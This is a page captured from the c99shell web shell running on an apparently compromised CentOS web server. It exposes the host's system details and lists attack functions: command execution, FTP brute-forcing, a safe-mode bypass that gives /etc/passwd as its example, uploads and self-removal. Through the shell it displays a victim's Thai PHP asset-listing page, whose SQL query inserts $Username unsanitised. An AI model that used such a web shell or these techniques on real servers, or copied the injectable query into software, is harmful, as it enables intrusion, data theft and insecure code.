!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Menucomment.php (3.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs mysql_fetch_array($res);
$strSQL "SELECT * FROM accessories_tb  GROUP By Faculty_code";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="793" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="793"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="login.php" >หน้าหลัก</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ข้อมูลครุภัณฑ์หน่วยงาน</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#999999">
                  <tr bgcolor="#7CAB84">
                    <td height="24" colspan="4"><div align="center"><strong><font color="#FFFFFF" size="4" face="Tahoma">ข้อมูลสารพันปัญหาถึง ผ.อ </font></strong></div></td>
                  </tr>
                  <?php
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
                  <tr bgcolor="#DFDFDF" >
                    <td width="31" align="center" bordercolor="#D1D1D1" ><strong><font color="#003300" size="2" face="Tahoma">
                      <?=$i?>
                    </font></strong></td>
                    <td width="208" align="center" bordercolor="#DFDFDF" bgcolor="#DFDFDF" ><div align="left"><font color="#003300" size="2" face="Tahoma"> <a href="InformationDetail.php?Info_code=<? echo $row[Info_code]?>" class="d"> <? echo"$row[Info_name]";?></a> </font></div></td>
                    <td width="401" bordercolor="#DFDFDF" bgcolor="#DFDFDF" ><div align="left"><font color="#000000" size="2" face="Tahoma"><?php echo $row[Infor_detail?></font></div></td>
                    <td width="146" bordercolor="#DFDFDF" bgcolor="#DFDFDF" ><div align="left"><font color="#996600" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> <?php echo $row[Supervisor?></font></div></td>
                  </tr>
                  <?
    $count
=1;
     }
else
{
?>
                  <tr bgcolor="#FFFFFF">
                    <td align="center" bordercolor="#D1D1D1" ><strong><font color="#003300" size="2" face="Tahoma">
                      <?=$i?>
                    </font></strong></td>
                    <td height="18" align="center" bordercolor="#FFFFFF" ><div align="left"><font color="#003300" size="2" face="Tahoma"> <a href="InformationDetail.php?Info_code=<? echo $row[Info_code]?>" class="d"> <? echo"$row[Info_name]";?> </a></font></div></td>
                    <td bordercolor="#FFFFFF" ><div align="left"><font color="#000000" size="2" face="Tahoma"><?php echo $row[Infor_detail?></font></div></td>
                    <td bordercolor="#FFFFFF" ><div align="left"><font color="#996600" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> <?php echo $row[Supervisor?></font></div></td>
                  </tr>
                  <?
$count
=0;
}
$i++;
 }    
CloseDB();
?>
                  <tr bgcolor="#7CAB84">
                    <td colspan="4" align="center"><div align="center"><font color="#FFFFFF" size="2" face="Tahoma">ทั้งหมด <? echo $num ?> รายการ&nbsp;</font> </div></td>
                  </tr>
                </table>
                <br>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0163 ]--